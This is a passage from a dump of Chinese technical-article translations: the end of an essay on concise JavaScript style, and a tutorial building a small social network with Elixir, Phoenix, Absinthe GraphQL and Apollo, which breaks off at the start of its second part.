最好使用强否定的变量声明\n\n有时我们只关心一个变量是否存在，因此使用正向名称会迫使我们使用 `!` 运算符对其求反。在这种情况下，请选择强否定形式。单词 “not” 和 `!` 运算符会创建弱表达式。\n\n* `if (missingValue)` 优于 `if (!hasValue)`\n* `if (anonymous)` 优于 `if (!user)`\n* `if (isEmpty(thing))` 优于 `if (notDefined(thing))`\n\n#### 在函数调用中避免 null 和未定义的参数\n\n调用函数时不需要使用 `undefined` 或 `null` 替代可选参数。最好使用命名选项对象：\n\n```js\nconst createEvent = ({\n  title = 'Untitled',\n  timeStamp = Date.now(),\n  description = ''\n}) => ({ title, description, timeStamp });\n\n// 后续代码...\nconst birthdayParty = createEvent({\n  title: 'Birthday Party',\n  description: 'Best party ever!'\n});\n```\n\n…优于：\n\n```js\nconst createEvent = (\n  title = 'Untitled',\n  timeStamp = Date.now(),\n  description = ''\n) => ({ title, description, timeStamp });\n\n// 后续代码...\nconst birthdayParty = createEvent(\n  'Birthday Party',\n  undefined, // 这是可以避免的\n  'Best party ever!'  \n);\n```\n\n## 对并列概念使用并列代码\n\n> “……并行结构要求相似内容和功能的表达式在表面上相似。形式的相似性使读者更容易识别内容和功能的相似性。”\n~ William Strunk, Jr.，《英文写作指南》\n\n程序中很少有问题是在之前的程序中从未出现过的。我们最终会一遍又一遍做同样的事情。发生这种情况时，这就是抽象化的机会。确定相同的部分，并构建一个抽象，你只需完成不同的部分。这正是库和框架为我们所做的。\n\nUI 组件就是一个很好的例子。不到 10 年前，将使用 jQuery 的 UI 更新与应用程序逻辑和网络 I/O 结合在一起是很常见的。然后人们开始意识到我们可以将 MVC 应用于客户端的 web 应用程序，然后人们开始将模型与 UI 更新逻辑分开。\n\n最终，Web 应用程序采用了组件模型方法，这使我们可以使用 JSX 或 HTML 模板等方式对组件进行声明式建模。\n\n我们最终得到的是一种表示 UI 更新逻辑的方法，对于每个组件都是相同的方式，而不是每个组件都使用不同的命令式代码。\n\n对于熟悉组件的人来说，很容易明白每个组件的工作原理：有一些声明性标记表示 UI 元素、用于连接行为的事件处理程序，以及用于附加回调的生命周期钩子，这些回调将在需要时运行。\n\n当我们针对相似的问题重复使用相似的模式时，熟悉该模式的任何人都应该能够快速学习代码的功能。\n\n## 结论：代码应该简洁而不是过分简单\n\n> 简明扼要的写作。句子不应该包含不必要的单词，段落不应该包含不必要的句子，其原因与图纸不应该包含不必要的线条而机器不应该包含不必要的部分相同。**这不要求作者使所有句子简短，也不必避免所有细节而只在轮廓上对待主题，而要使每个单词都说清楚。** [重点补充。]\n~ William Strunk, Jr.，《英文写作指南》\n\nES6 于 2015 年实现了标准化，但是在 2017 年，ES6 于 2015 年实现了标准化，许多开发人员以编写代码为幌子，拒绝简洁的箭头功能、隐式返回、rest 参数和扩展运算符等功能，因为这样[更为人所熟悉](https://medium.com/javascript-scene/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions-3d37e1a9bb75)。那是个大错误。熟悉感会随着实践而增加，ES6中的简洁功能显然优于 ES5 替代品：与语法繁重的替代品相比**简洁的代码更纯粹** 。\n\n代码应该简洁而不是过分简单。\n\n简洁的代码带来了：\n\n* 更少的 bug\n* 更简单的 debug\n\n而且这些 bug：\n\n* 修复成本高\n* 带来其它 bug\n* 中断正常的开发流程\n\n简洁的代码也会带来：\n\n* 更简单的书写\n* 更简单的阅读\n* 更简单的维护\n\n为了让开发人员能够快速使用诸如简明语法、柯里化和组合等技术，培训投资是值得的。当我们为了熟悉而没有这样做的时候，我们需要与代码的读者进行沟通，他们才能理解代码，就像一个成年人对一个蹒跚学步的孩子讲话一样。\n\n假设读者对实现一无所知，但是不要假设读者是愚蠢的，或者读者不懂这门语言。\n\n要清楚，但不要简化。把事情简化既浪费又侮辱人。在实践和熟悉度上进行投资，以获得更好的编程词汇和更生动的风格。\n\n> 代码应该简洁而不是过分简单。\n\n---\n\n****Eric Elliott** 是 [“Programming JavaScript Applications”](http://pjabook.com)（O’Reilly）的作者，以及 [DevAnywhere.io] (https://devanywhere.io/)的创始人之一。他为**Adobe 系统**，**Zumba 健身**，**华尔街日报**，**ESPN**，**BBC**以及**Usher**，**Frank Ocean**，**Metallica**，等顶级的唱片艺术家**贡献了软件经验。\n\n**他可以和世界上最漂亮的女人一起工作。**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/elixir-phoenix-absinthe-graphql-react-apollo-absurdly-deep-dive-1.md",
    "content": "> * 原文地址：[Elixir, Phoenix, Absinthe, GraphQL, React, and Apollo: an absurdly deep dive - Part 1](https://schneider.dev/blog/elixir-phoenix-absinthe-graphql-react-apollo-absurdly-deep-dive/)\n> * 原文作者：[Zach Schneider](https://www.github.com/schneidmaster)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/elixir-phoenix-absinthe-graphql-react-apollo-absurdly-deep-dive-1.md](https://github.com/xitu/gold-miner/blob/master/TODO1/elixir-phoenix-absinthe-graphql-react-apollo-absurdly-deep-dive-1.md)\n> * 译者：[Xuyuey](https://github.com/Xuyuey)\n> * 校对者：[Fengziyin1234](https://github.com/Fengziyin1234)\n\n# Elixir、Phoenix、Absinthe、GraphQL、React 和 Apollo：一次近乎疯狂的深度实践 —— 第一部分\n\n不知道你是否和我一样，在本文的标题中，至少有 3 个或 4 个关键字属于“我一直想玩，但还从未接触过”的类型。React 是一个例外；在每天的工作中我都会用到它，对它已经非常熟悉了。在几年前的一个项目中我用到了 Elixir，但那已经是很早以前的事情了，而且我从未在 GraphQL 的环境中是使用过它。同样的，在另外一个项目中，我做了一小部分关于 GraphQL 的工作，该项目的后端使用的是 Node.js，前端使用的是 Relay，但我仅仅触及了 GraphQL 的皮毛，而且到目前为止我没有接触过 Apollo。我坚信学习技术的最好方法就是用它们来构建一些东西，所以我决定深入研究并构建一个包含所有这些技术的 Web 应用程序。如果你想跳到最后，代码是在 [GitHub](https://github.com/schneidmaster/socializer) 上，现场演示在[这里](https://socializer-demo.herokuapp.com)。(现场演示在免费的 Heroku dyno 上运行，所以当你访问它时可能需要 30 秒左右才能唤醒。)\n\n## 定义我们的术语\n\n首先，让我们来看看我在上面提到的那些组件，以及它们如何组合在一起。\n\n* [Elixir](https://elixir-lang.org) 是一种服务端编程语言。\n* [Phoenix](https://phoenixframework.org) 是 Elixir 最受欢迎的 Web 服务端框架。Ruby : Rails :: Elixir : Phoenix。\n* [GraphQL](https://graphql.org) 是一种用于 API 的查询语言。\n* [Absinthe](https://hexdocs.pm/absinthe/overview.html) 是最流行的 Elixir 库，用于实现 GraphQL 服务器。\n* [Apollo](https://www.apollographql.com/docs/react) 是一个流行的 JavaScript 库，搭配 GraphQL API 使用。（Apollo 还有一个服务端软件包，用于在 Node.js 中实现 GraphQL 服务器，但我只使用了它的客户端配合我搭建的 Elixir GraphQL 服务端。）\n* [React](https://reactjs.org) 是一个流行的 JavaScript 框架，用于构建前端用户界面。（这个你可能已经知道了。）\n\n## 我在构建的是什么？\n\n我决定构建一个迷你的社交网络。看起来好像很简单，可以在合理的时间内完成，但是它也足够复杂，可以让我遇到一切在真实场景下的应用程序中才会出现的挑战。我的社交网络被我创造性地称为 Socializer。用户可以在其他用户的帖子下面发帖和评论。Socializer 还有聊天功能; 用户可以与其他用户进行私人对话，每个对话可以有任意数量的用户（即群聊）。\n\n## 为什么选择 Elixir？\n\nElixir 在过去几年中越来越流行。它在 Erlang VM 上运行，你可以直接在 Elixir 文件中写 Erlang 语法，但它旨在为开发人员提供更友好的语法，同时保持 Erlang 的速度和容错能力。Elixir 是动态类型的，语法与 ruby 类似。但是它比 ruby 更具功能性，并且有很多不同的惯用语法和模式。\n\n至少对于我而言，Elixir 的主要吸引力在于 Erlang VM 的性能。坦白的说这看起来很荒谬。但使用 Erlang 使得 WhatsApp 的团队能够和[单个服务器建立 **200 万**个连接](https://blog.whatsapp.com/196/1-million-is-so-2011)。一个 Elixir/Phoenix 服务器通常可以在不到 1 毫秒的时间内提供简单的请求；看到终端日志中请求持续时间的 μ 符号真让人兴奋不已。\n\nElixir 还有其他好处。它的设计是容错的；你可以将 Erlang VM 视为一个节点集群，任何一个节点的宕机都可以不影响其他节点。这也使“热代码交换”成为可能，部署新代码时无需停止和重启应用程序。我发现它的[模式匹配（pattern matching）](https://elixirschool.com/en/lessons/basics/pattern-matching)和[管道操作符（pipe operator）](https://elixirschool.com/en/lessons/basics/pipe-operator)也非常有意思。令人耳目一新的是，它在编写功能强大的代码时，近乎和 ruby 一样给力，而且我发现它可以驱使我更清楚地思考代码，写更少的 bug。\n\n## 为什么选择 GraphQL？\n\n使用传统的 RESTful API，服务器会事先定义好它可以提供的资源和路由（通过 API 文档，或者通过一些自动化生成 API 的工具，如 Swagger），使用者必须制定正确的调用顺序来获取他们想要的数据。如果服务端有一个帖子的 API 来获取博客的帖子，一个评论的 API 用于获取帖子的评论，一个用户信息的 API 获取用户的姓名和图片，使用者可能必须发送三个单独的请求，来获取渲染一个视图所必要的信息。（对于这样一个小案例，显然 API 可能允许你一次性得到所有相关数据，但它也说明了传统 RESTful API 的缺点 —— 请求结构由服务器任意定义，而不能匹配每个使用者和页面的动态需求）。GraphQL 反转了这个原则 —— 客户端先发送一个描述所需数据的查询文档（可能跨越表关系），然后服务器在这个请求中返回所有需要的数据。拿我们的博客举例来说，一个帖子的查询请求可能会是下面这样：\n\n```graphql\nquery {\n  post(id: 123) {\n    id\n    body\n    createdAt\n    user {\n      id\n      name\n      avatarUrl\n    }\n    comments {\n      id\n      body\n      createdAt\n      user {\n        id\n        name\n        avatarUrl\n      }\n    }\n  }\n}\n```\n\n这个请求描述了渲染一个博客帖子页面时，使用者可能会用到的所有信息：帖子的 ID、内容以及时间戳；发布帖子的用户的 ID、姓名和头像 URL；帖子评论的 ID、内容和时间戳；以及提交每条评论的用户的 ID，名称和头像 URL。结构非常直观灵活；它非常适合构建接口，因为你可以只描述所需的数据，而不是痛苦地适应 API 提供的结构。\n\nGraphQL 中还有两个关键概念：mutation（变更）和 subscription（订阅）。Mutation 是一种对服务器上的数据进行更改的查询; 它相当于 RESTful API 中的 POST/PATCH/PUT。语法与查询非常相似; 创建帖子的 mutation 可能是下面这样的：\n\n```graphql\nmutation {\n  createPost(body: $body) {\n    id\n    body\n    createdAt\n  }\n}\n```\n\n一条数据库记录的属性通过参数提供，{} 里的代码块描述了一旦 mutation 完成需要返回的数据（在我们的例子中是新帖子的 ID、内容以及时间戳）。\n\n一个 subscription 对于 GraphQL 是相当特别的；在 RESTful API 中并没有一个直接和它对应的东西。它允许客户端在特定事件发生时从服务器接收实时更新。例如，如果我希望每次创建新帖子时都实时更新主页，我可能会写一个这样的帖子 subscription：\n\n```graphql\nsubscription {\n  postCreated {\n    id\n    body\n    createdAt\n    user {\n      id\n      name\n      avatarUrl\n    }\n  }\n}\n```\n\n正如你想知道的那样，这段代码告诉服务器在创建新帖子时向我发送实时更新，包括帖子的 ID、内容和时间戳，以及作者的 ID、姓名和头像 URL。Subscription 通常由 websockets 支持；客户端保持对服务器开放的套接字，无论什么时候只要事件发生，服务器就会向客户端发送消息。\n\n最后一件事 —— GraphQL 有一个非常棒的开发工具，叫做 GraphiQL。它是一个带有实时编辑器的 Web 界面，你可以在其中编写查询、执行查询语句并查看结果。它包括自动补全和其他语法糖，使你可以轻松找到可用的查询语句和字段; 当你在迭代查询结构时，它表现的特别棒。你可以试试我的 web 应用程序的 [GraphiQL 界面](https://brisk-hospitable-indianelephant.gigalixirapp.com/graphiql)。试试向它发送以下的查询语句以获取具有关联数据的帖子列表（下面展示的例子是一个略微修剪的版本）：\n\n```graphql\nquery {\n  posts {\n    id\n    body\n    insertedAt\n    user {\n      id\n      name\n    }\n    comments {\n      id\n      body\n      user {\n        id\n        name\n      }\n    }\n  }\n}\n```\n\n## 为什么选择 Apollo？\n\nApollo 已经成为服务器和客户端上最受欢迎的 GraphQL 库之一。上次使用 GraphQL 还是 2016 年时和 [Relay](https://facebook.github.io/relay) 一起，Relay 是另外一个客户端的 JavaScript 库。实话说，我讨厌它。我被 GraphQL 简单易写的查询语句所吸引，相比较而言，Relay 让我感觉非常复杂而且难以理解；它的文档里有很多术语，我发现很难构建一个知识基础让我理解它。公平地说，那是 Relay 的 1.0 版本；他们已经做了很大的改动来简化库（他们称之为 Relay Modern），文档也比过去好了很多。但是我想尝试新的东西，Apollo 之所以这么受欢迎，部分原因是它为构建 GraphQL 客户端应用程序提供了相对简单的开发体验。\n\n## 服务端\n\n我们先来构建应用程序的服务端；没有数据使用的话，客户端就没有那么有意思了。我也很好奇 GraphQL 如何能够实现在客户端编写查询语句，然后拿到所有我需要的数据。（相比之前，在没有 GraphQL 之前的实现方法中，你需要回来对服务端做一些改动）。\n\n具体来说，我首先定义了应用程序的基本 model（模型）结构。在高层次抽象上，它看起来像这样：\n\n```text\nUser\n- Name\n- Email\n- Password hash\n\nPost\n- User ID\n- Body\n\nComment\n- User ID\n- Post ID\n- Body\n\nConversation\n- Title (只是将参与者的名称反规范化为字符串)\n\nConversationUser（每一个 conversation 都可以有任意数量的 user）\n- Conversation ID\n- User ID\n\nMessage\n- Conversation ID\n- User ID\n- Body\n```\n\n万幸这很简单明了。Phoenix 允许你编写与 Rails 非常相似的数据库迁移。以下是创建 users 表的迁移，例如：\n\n```elixir\n# socializer/priv/repo/migrations/20190414185306_create_users.exs\ndefmodule Socializer.Repo.Migrations.CreateUsers do\n  use Ecto.Migration\n\n  def change do\n    create table(:users) do\n      add :name, :string\n      add :email, :string\n      add :password_hash, :string\n\n      timestamps()\n    end\n\n    create unique_index(:users, [:email])\n  end\nend\n```\n\n你可以在[这里](https://github.com/schneidmaster/socializer/tree/master/priv/repo/migrations)查看所有其他表的迁移。\n\n接下来，我实现了 model 类。Phoenix 使用一个名为 Ecto 的库作为它的 model 的实现；你可以将 Ecto 看作与 ActiveRecord 类似的东西，但它与框架的耦合程度更低。一个主要区别是 Ecto model 没有任何实例方法。Model 实例只是一个结构（就像带有预定义键的哈希）；你在 model 上定义的方法都是类的方法，它们接受一个“实例”（结构），然后用某种方式更改这个实例，再返回结果。在 Elixir 中这是一种惯用方法; 它更偏好函数式编程和不可变变量（不能二次赋值的变量）。\n\n这是对 Post model 的分解：\n\n```elixir\n# socializer/lib/socializer/post.ex\ndefmodule Socializer.Post do\n  use Ecto.Schema\n  import Ecto.Changeset\n  import Ecto.Query\n\n  alias Socializer.{Repo, Comment, User}\n\n  # ...\nend\n```\n\n首先，我们引入一些其他模块。在 Elixir 中，`import` 可以引入其它模块的功能（类似于 `include` ruby 中的 model）；`use` 调用特定模块上的 `__using__` 宏。宏是 Elixir 的元编程机制。`alias` 使得命名空间模块可以通过它们的基本名称被访问到（所以我可以引用一个 `User` 而不是到处使用 `Socializer.User` 类型）。\n\n```elixir\n# socializer/lib/socializer/post.ex\ndefmodule Socializer.Post do\n  # ...\n\n  schema \"posts\" do\n    field :body, :string\n\n    belongs_to :user, User\n    has_many :comments, Comment\n\n    timestamps()\n  end\n\n  # ...\nend\n```\n\n接下来，我们有了一个 schema（模式）。Ecto model 必须在 schema 中显式描述 schema 中的每个属性（不同于 ActiveRecord，例如，它会对底层数据库表进行内省并为每个字段创建属性）。在上一节中我们使用 `use Ecto.Schema` 引入了 `schema` 宏。\n\n```elixir\n# socializer/lib/socializer/post.ex\ndefmodule Socializer.Post do\n  # ...\n\n  def all do\n    Repo.all(from p in __MODULE__, order_by: [desc: p.id])\n  end\n\n  def find(id) do\n    Repo.get(__MODULE__, id)\n  end\n\n  # ...\nend\n```\n\n接着，我定义了一些辅助函数来从数据库中获取帖子。在 Ecto model 的帮助下，`Repo` 模块用来处理所有数据库查询；例如，`Repo.get(Post, 123)` 会使用 ID 123 查找对应的帖子。`search` 方法中的数据库查询语法由写在类顶部的 `import Ecto.Query` 提供。最后，`__MODULE__` 是对当前模块的简写（即 `Socializer.Post`）。\n\n```elixir\n# socializer/lib/socializer/post.ex\ndefmodule Socializer.Post do\n  # ...\n\n  def create(attrs) do\n    attrs\n    |> changeset()\n    |> Repo.insert()\n  end\n\n  def changeset(attrs) do\n    %__MODULE__{}\n    |> changeset(attrs)\n  end\n\n  def changeset(post, attrs) do\n    post\n    |> cast(attrs, [:body, :user_id])\n    |> validate_required([:body, :user_id])\n    |> foreign_key_constraint(:user_id)\n  end\nend\n```\n\nChangeset 方法是 Ecto 提供的创建和更新记录的方法：首先是一个 `Post` 结构（来自现有的帖子或者一个空结构），“强制转换”（应用）已更改的属性，进行必要的验证，然后将其插入到数据库中。\n\n这是我们的第一个 model。你可以在[这里](https://github.com/schneidmaster/socializer/tree/master/lib/socializer)找到其它 model。\n\n## GraphQL schema\n\n接下来，我连接了服务器的 GraphQL 组件。这些组件通常可以分为两类：type（类型）和 resolver（解析器）。在 type 文件中，你使用类似 DSL 的语法来声明可以查询的对象、字段和关系。Resolver 用来告诉服务器如何响应任何给定查询。\n\n下面是帖子 type 文件的示例：\n\n```elixir\n# socializer/lib/socializer_web/schema/post_types.ex\ndefmodule SocializerWeb.Schema.PostTypes do\n  use Absinthe.Schema.Notation\n  use Absinthe.Ecto, repo: Socializer.Repo\n\n  alias SocializerWeb.Resolvers\n\n  @desc \"A post on the site\"\n  object :post do\n    field :id, :id\n    field :body, :string\n    field :inserted_at, :naive_datetime\n\n    field :user, :user, resolve: assoc(:user)\n\n    field :comments, list_of(:comment) do\n      resolve(\n        assoc(:comments, fn comments_query, _args, _context ->\n          comments_query |> order_by(desc: :id)\n        end)\n      )\n    end\n  end\n\n  # ...\nend\n```\n\n在 `use` 和 `import` 之后，我们首先为 GraphQL 简单地定义了 `:post` 对象。字段 ID、内容和 inserted_at 将直接使用 `Post` 结构中的值。接下来，我们声明了一些可以在查询帖子时使用到的关联关系 —— 创建帖子的用户和帖子上的评论。我重写了评论的关联关系只是为了确保我们可以得到按照插入顺序返回的评论。注意啦：Absinthe 自动处理了请求和查询字段名称的大小写 —— Elixir 中使用 snake_case 对变量和方法命名，而 GraphQL 的查询中使用的是 camelCase。\n\n```elixir\n# socializer/lib/socializer_web/schema/post_types.ex\ndefmodule SocializerWeb.Schema.PostTypes do\n  # ...\n\n  object :post_queries do\n    @desc \"Get all posts\"\n    field :posts, list_of(:post) do\n      resolve(&Resolvers.PostResolver.list/3)\n    end\n\n    @desc \"Get a specific post\"\n    field :post, :post do\n      arg(:id, non_null(:id))\n      resolve(&Resolvers.PostResolver.show/3)\n    end\n  end\n\n  # ...\nend\n```\n\n接下来，我们将声明一些涉及帖子的底层查询。`posts` 允许查询网站上的所有帖子，同时 `post` 可以按照 ID 返回单个帖子。Type 文件只是简单地声明了查询语句以及它的参数和返回值类型；实际的实现都被委托给了 resolver。\n\n```elixir\n# socializer/lib/socializer_web/schema/post_types.ex\ndefmodule SocializerWeb.Schema.PostTypes do\n  # ...\n\n  object :post_mutations do\n    @desc \"Create post\"\n    field :create_post, :post do\n      arg(:body, non_null(:string))\n\n      resolve(&Resolvers.PostResolver.create/3)\n    end\n  end\n\n  # ...\nend\n```\n\n在查询之后，我们声明了一个允许在网站上创建新帖子的 mutation。与查询一样，type 文件只是声明有关  mutation 的元数据，实际操作由 resolver 完成。\n\n```elixir\n# socializer/lib/socializer_web/schema/post_types.ex\ndefmodule SocializerWeb.Schema.PostTypes do\n  # ...\n\n  object :post_subscriptions do\n    field :post_created, :post do\n      config(fn _, _ ->\n        {:ok, topic: \"posts\"}\n      end)\n\n      trigger(:create_post,\n        topic: fn _ ->\n          \"posts\"\n        end\n      )\n    end\n  end\nend\n```\n\n最后，我们声明与帖子相关的 subscription，`:post_created`。这允许客户端订阅和接收创建新帖子的更新。`config` 用于配置 subscription，同时 `trigger` 会告诉 Absinthe 应该调用哪一个 mutation。`topic` 允许你可以细分这些 subscription 的响应 —— 在这个例子中，不管是什么帖子的更新我们都希望通知客户端，在另外一些例子中，我们只想要通知某些特定的更新。例如，下面是关于评论的 subscription —— 客户端只想要知道关于某个特定帖子（而不是所有帖子）的新评论，因此它提供了一个带 `post_id` 参数的 topic。\n\n```elixir\ndefmodule SocializerWeb.Schema.CommentTypes do\n  # ...\n\n  object :comment_subscriptions do\n    field :comment_created, :comment do\n      arg(:post_id, non_null(:id))\n\n      config(fn args, _ ->\n        {:ok, topic: args.post_id}\n      end)\n\n      trigger(:create_comment,\n        topic: fn comment ->\n          comment.post_id\n        end\n      )\n    end\n  end\nend\n```\n\n虽然我已经将和每个 model 相关的代码按照不同的功能写在了不同的文件里，但值得注意的是，Absinthe 要求你在一个单独的 `Schema` 模块中组装所有类型的文件。如下面所示：\n\n```elixir\ndefmodule SocializerWeb.Schema do\n  use Absinthe.Schema\n  import_types(Absinthe.Type.Custom)\n\n  import_types(SocializerWeb.Schema.PostTypes)\n  # ...other models' types\n\n  query do\n    import_fields(:post_queries)\n    # ...other models' queries\n  end\n\n  mutation do\n    import_fields(:post_mutations)\n    # ...other models' mutations\n  end\n\n  subscription do\n    import_fields(:post_subscriptions)\n    # ...other models' subscriptions\n  end\nend\n```\n\n## Resolver（解析器）\n\n正如我上面提到的，resolver 是 GraphQL 服务器的“粘合剂” —— 它们包含为 query 提供数据的逻辑或应用 mutation 的逻辑。让我们看一下 `post` 的 resolver：\n\n```elixir\n# lib/socializer_web/resolvers/post_resolver.ex\ndefmodule SocializerWeb.Resolvers.PostResolver do\n  alias Socializer.Post\n\n  def list(_parent, _args, _resolutions) do\n    {:ok, Post.all()}\n  end\n\n  def show(_parent, args, _resolutions) do\n    case Post.find(args[:id]) do\n      nil -> {:error, \"Not found\"}\n      post -> {:ok, post}\n    end\n  end\n\n  # ...\nend\n```\n\n前两个方法处理上面定义的两个查询 —— 加载所有的帖子的查询以及加载特定帖子的查询。Absinthe 希望每个 resolver 方法都返回一个元组 —— `{:ok, requested_data}` 或者 `{:error, some_error}`（这是 Elixir 方法的常见模式）。`show` 方法中的 `case` 声明是 Elixir 中一个很好的模式匹配的例子 —— 如果 `Post.find` 返回 `nil`，我们返回错误元组；否则，我们返回找到的帖子数据。\n\n```elixir\n# lib/socializer_web/resolvers/post_resolver.ex\ndefmodule SocializerWeb.Resolvers.PostResolver do\n  # ...\n\n  def create(_parent, args, %{\n        context: %{current_user: current_user}\n      }) do\n    args\n    |> Map.put(:user_id, current_user.id)\n    |> Post.create()\n    |> case do\n      {:ok, post} ->\n        {:ok, post}\n\n      {:error, changeset} ->\n        {:error, extract_error_msg(changeset)}\n    end\n  end\n\n  def create(_parent, _args, _resolutions) do\n    {:error, \"Unauthenticated\"}\n  end\n\n  # ...\nend\n```\n\n接下来，我们有 `create` 的 resolver，其中包含创建新帖子的逻辑。这也是通过方法参数进行模式匹配的一个很好的例子 —— Elixir 允许你重载方法名称并选择第一个与声明的模式匹配的方法。在这个例子中，如果第三个参数是带有 `context` 键的映射，并且该映射中还包括一个带有 `current_user` 键值对的映射，那么就使用第一个方法；如果某个查询没有携带身份验证信息，它将匹配第二种方法并返回错误信息。\n\n```elixir\n# lib/socializer_web/resolvers/post_resolver.ex\ndefmodule SocializerWeb.Resolvers.PostResolver do\n  # ...\n\n  defp extract_error_msg(changeset) do\n    changeset.errors\n    |> Enum.map(fn {field, {error, _details}} ->\n      [\n        field: field,\n        message: String.capitalize(error)\n      ]\n    end)\n  end\nend\n```\n\n最后，如果 post 的属性无效（例如，内容为空），我们有一个简单的辅助方法来返回错误响应。Absinthe 希望错误消息是一个字符串，一个字符串数组，或一个带有 `field` 和 `message` 键的关键字列表数组 —— 在我们的例子中，我们将每个字段的 Ecto 验证错误信息提取到这样的关键字列表中。\n\n## 上下文（context）/认证（authentication）\n\n我们在最后一节中来谈谈查询认证的概念 —— 在我们的例子中，简单地在请求头里的 `authorization` 属性中用了一个 `Bearer: token` 做标记。我们如何利用这个 token 获取 resolver 中 `current_user`  的上下文呢？可以使用自定义插件（plug）读取头部然后查找当前用户。在 Phoenix 中，一个插件是请求管道中的一部分 —— 你可能拥有解码 JSON 的插件，添加 CORS 头的插件，或者处理请求的任何其他可组合部分的插件。我们的插件如下所示：\n\n```elixir\n# lib/socializer_web/context.ex\ndefmodule SocializerWeb.Context do\n  @behaviour Plug\n\n  import Plug.Conn\n\n  alias Socializer.{Guardian, User}\n\n  def init(opts), do: opts\n\n  def call(conn, _) do\n    context = build_context(conn)\n    Absinthe.Plug.put_options(conn, context: context)\n  end\n\n  def build_context(conn) do\n    with [\"Bearer \" <> token] <- get_req_header(conn, \"authorization\"),\n         {:ok, claim} <- Guardian.decode_and_verify(token),\n         user when not is_nil(user) <- User.find(claim[\"sub\"]) do\n      %{current_user: user}\n    else\n      _ -> %{}\n    end\n  end\nend\n```\n\n前两个方法只是按例行事 —— 在初始化方法中没有什么有趣的事情可做（在我们的例子中，我们可能会基于配置选项利用初始化函数做一些工作），在调用插件方法中，我们只是想要在请求上下文中设置当前用户的信息。`build_context` 方法是最有趣的部分。`with` 声明在 Elixir 中是另一种模式匹配的写法；它允许你执行一系列不对称步骤并根据上一步的结果执行操作。在我们的例子中，首先去获得请求头里的 authorization 属性值；然后解码 authentication token（使用了 [Guardian](https://github.com/ueberauth/guardian) 库）；接着再去查找用户。如果所有步骤都成功了，那么我们将进入 `with` 函数块内部，返回一个包含当前用户信息的映射。如果任意一个步骤失败（例如，假设模式匹配失败第二步会返回一个 `{:error, ...}` 元组；假设用户不存在第三步会返回一个 `nil`），然后 `else` 代码块中的内容被执行，我们就不去设置当前用户。\n\n---\n\n- [Elixir、Phoenix、Absinthe、GraphQL、React 和 Apollo：一次近乎疯狂的深度实践 —— 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/elixir-phoenix-absinthe-graphql-react-apollo-absurdly-deep-dive-1.md)\n- [Elixir、Phoenix、Absinthe、GraphQL、React 和 Apollo：一次近乎疯狂的深度实践 —— 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/elixir-phoenix-absinthe-graphql-react-apollo-absurdly-deep-dive-2.md)\n\n---\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/elixir-phoenix-absinthe-graphql-react-apollo-absurdly-deep-dive-2.md",
    "content": "> * 原文地址：[Elixir, Phoenix, Absinthe, GraphQL, React, and Apollo: an absurdly deep dive - Part 2](https://schneider.dev/blog/elixir-phoenix-absinthe-graphql-react-apollo-absurdly-deep-dive/)\n> * 原文作者：[Zach Schneider](https://www.github.com/schneidmaster)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/elixir-phoenix-absinthe-graphql-react-apollo-absurdly-deep-dive-2.md](https://github.com/xitu/gold-miner/blob/master/TODO1/elixir-phoenix-absinthe-graphql-react-apollo-absurdly-deep-dive-2.md)\n> * 译者：[Fengziyin1234](https://github.com/Fengziyin1234)\n> * 校对者：[Xuyuey](https://github.com/Xuyuey), [portandbridge](https://github.com/portandbridge)\n\n# Elixir、Phoenix、Absinthe、GraphQL、React 和 Apollo：一次近乎疯狂的深度实践 —— 第二部分（测试相关部分）\n\n如果你没有看过本系列文章的第一部分，建议你先去看第一部分：\n\n- [Elixir, Phoenix, Absinthe, GraphQL, React, and Apollo: an absurdly deep dive - Part 1](https://github.com/xitu/gold-miner/blob/master/TODO1/elixir-phoenix-absinthe-graphql-react-apollo-absurdly-deep-dive-1.md)\n- [Elixir, Phoenix, Absinthe, GraphQL, React, and Apollo: an absurdly deep dive - Part 2](https://github.com/xitu/gold-miner/blob/master/TODO1/elixir-phoenix-absinthe-graphql-react-apollo-absurdly-deep-dive-2.md)\n\n## 测试 —— 服务器端\n\n现在我们已经完成了所有的代码部分，那我们如何确保我的代码总能正常的工作呢？我们需要对下面几种不同的层次进行测试。首先，我们需要对 